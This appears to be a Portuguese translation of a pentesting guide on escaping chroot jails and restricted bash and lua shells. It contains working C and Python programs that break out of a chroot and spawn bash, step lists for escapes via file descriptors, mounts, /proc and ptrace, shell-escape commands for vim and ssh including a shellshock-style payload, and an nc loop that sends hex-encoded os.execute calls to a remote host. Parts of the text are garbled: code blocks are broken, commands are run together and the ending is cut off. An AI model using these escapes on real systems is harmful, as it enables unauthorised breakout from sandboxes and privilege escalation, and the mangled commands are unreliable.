De wikipedia: O mecanismo chroot não é destinado a defender contra manipulação intencional por usuários privilegiados (root). Na maioria dos sistemas, os contextos chroot não empilham corretamente e programas chrooted com privilégios suficientes podem realizar um segundo chroot para escapar.
Normalmente isso significa que para escapar você precisa ser root dentro do chroot.
A ferramentachw00t foi criada para abusar dos seguintes cenários e escapar do chroot.
Root + CWD
Se você é root dentro de um chroot, pode escapar criando outro chroot. Isso ocorre porque 2 chroots não podem coexistir (no Linux), então se você criar uma pasta e depois criar um novo chroot nessa nova pasta estando fora dele, você estará fora do novo chroot e, portanto, estará no FS.
Isso ocorre porque geralmente o chroot NÃO move seu diretório de trabalho para o indicado, então você pode criar um chroot, mas estar fora dele.
Normalmente você não encontrará o binário chroot dentro de uma prisão chroot, mas você poderia compilar, fazer upload e executar um binário:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Isso é semelhante ao caso anterior, mas neste caso o atacante armazena um descritor de arquivo para o diretório atual e então cria o chroot em uma nova pasta. Finalmente, como ele tem acesso a esse FDfora do chroot, ele o acessa e ele escapa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD pode ser passado por Unix Domain Sockets, então:
* Criar um processo filho (fork)
* Criar UDS para que o pai e o filho possam se comunicar
* Executar chroot no processo filho em uma pasta diferente
* No processo pai, criar um FD de uma pasta que está fora do novo chroot do processo filho
* Passar para o processo filho esse FD usando o UDS
* Processo filho muda o diretório para esse FD e, como está fora de seu chroot, ele irá escapar da prisão
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar o dispositivo raiz (/) em um diretório dentro do chroot
* Executar chroot nesse diretório
Isso é possível no Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar procfs em um diretório dentro do chroot (se ainda não estiver montado)
* Procurar por um pid que tenha uma entrada de root/cwd diferente, como: /proc/1/root
* Executar chroot nessa entrada
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Criar um Fork (processo filho) e chroot em uma pasta diferente mais profunda no sistema de arquivos e mudar para ela
* A partir do processo pai, mover a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos
* Esse processo filho se encontrará fora do chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo próprio... mas isso não é mais possível por padrão
* De qualquer forma, se for possível, você poderia ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeração
Obter informações sobre a prisão:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modificar o PATH
Verifique se você pode modificar a variável de ambiente PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Usando o vim
:setshell=/bin/sh:shell
Criar script
Verifique se você pode criar um arquivo executável com /bin/bash como conteúdo
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Obter bash a partir do SSH
Se estiver acessando via ssh, você pode usar este truque para executar um shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Note que toda vez que você executar o comando anterior em um ambiente lua diferente a ordem das funções muda. Portanto, se você precisar executar uma função específica, você pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca le:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Obter um shell lua interativo: Se você estiver dentro de um shell lua limitado, você pode obter um novo shell lua (e esperançosamente ilimitado) chamando: